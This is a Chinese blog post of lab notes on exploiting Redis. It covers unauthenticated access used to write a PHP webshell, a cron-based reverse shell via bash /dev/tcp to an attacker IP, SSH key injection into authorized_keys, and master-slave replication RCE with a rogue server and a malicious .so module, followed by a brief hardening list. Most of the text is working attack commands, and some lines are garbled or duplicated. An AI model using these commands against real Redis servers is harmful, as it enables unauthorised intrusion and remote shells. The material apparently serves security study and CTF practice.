• Redis


    Redis

    redis 服务的 IP 为: 192.168.18.132(centos)、192.168.0.100 (ubuntu)
    kail 的IP 为 192.168.18.143

    1. 未授权访问

    1. 在 kail 执行相关命令:漏洞成因: 没有设置访问密码
      ./redis-cli -h 192.168.18.132 -p 6379
      config get dir
      config set dir /var/www/dvwa/uploads
      config get dir
      config set dbfilename redis.php
      config webshell "\r\n\r\n\r\n\r\b"
      save
      # 然后访问相关页面即可
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

    2. 利用计划任何反弹shell

    1. 在 kail 监听端口:

      nc -lvnp 9999 # 监听 9999 端口
      
      • 1
    2. 执行相关指令:

      ./redis-cli -h 192.168.18.132 -p 6379
      set xx "\n* * * * * * bash -i >& /dev/tcp/192.168.18.143/9999 0>&1\n"
      get xx
      config set dir /var/spool/cron/
      config set dbfilename root
      keys * 
      save
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

    3. 攻防redis密钥登录ssh

    redis 的密码可以进行破解

    ssh-keygen -t rsa  # 生成公私钥
    cd /home/jlb/.ssh  # 转到生成秘钥目录所在处
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 192.168.0.100 --pass welcometowangdingbeissrfme6379 -x set xxx   # --pass  表示密码
    
    redis-cli -h 192.168.0.100
    auth welcometowangdingbeissrfme6379  # 输入密码登陆
    config set dir /root/.ssh  # 设置路径 路径需要存在
    config set dbfilename authorized_keys  # 设置文件名,文件名一定要为: authorized_keys
    save  #  保存
    
    sssh -i id rsa root 192.168.0.100
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    4. redis利用主从复制RCE

    漏洞存在于 4.x 和 5.x 版本中,Redis 提供了 主从模式,主从模式是指使用一个 redis 作为主机,其他作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写,在 Redis 4.x 之后,通过外部拓展,可以黑丝系那个在 Redis 中实现一个新的 Redis 命令,构造恶意的 .so 文件。在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件,既可以执行命令
    受害人:就是从机 .so 文件
    攻击者就是主机 .so 文件

    工具下载

    工具下载2

    命令执行:

    python3 redis-rogue-server.py -rhost 192.168.0.100 -lhost  192.168.18.143 -pass 密码
    
    • 1

    image-20220820230513720

    5. Redis 安全设置

    1. 单独为 redis 设置一个普通账户
    2. 设置本地 localhost 不允许外部访问
    3. 保护模式开启 protected-mode 开启 (默认开启)
    4. 把端口最好更改
    5. requirepass 设置 redis 密码

    6. 本地redis主从复制RCE反弹shell

    # kail
    python3 redis-rogue-server.py -v -path exp.so  # 会返回一个监听端口
    nc -lvnp 6666 # 监听 6666 端口
    
    # Redis 从机服务器
    config set dir /tmp
    config set dbfilename exp.so 
    slaveof 192.168.18.143 15000  #  开始同步
    module load ./exp.so # 上传文件
    slaveof NO ONE # 关闭同步
    system.rev 192.168.18.143  6666  # 返回一个 shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    dule load ./exp.so # 上传文件
    slaveof NO ONE # 关闭同步
    system.rev 192.168.18.143 6666 # 返回一个 shell

    
    ## 7. 实战: **网鼎杯2020 玄武组 WEB题SSRFME解题**
    
    • 1
    • 2
  • 相关阅读:
    c++ 录制电脑屏幕桌面
    flutter 创建插件
    我为什么将机器学习主力语言从Python转到Rust
    【iOS】——知乎日报第五周总结
    数据结构:线性表(栈的实现)
    Java新手小白入门篇 API - IO流
    任务分配——斜率优化dp——运输小猫
    springboot+旅游网站 毕业设计-附源码211713
    Vue.js结合ASP.NET Core构建用户登录与权限验证系统
    git可视化工具-sourceTree
  • 原文地址:https://blog.csdn.net/weixin_53150482/article/details/126656335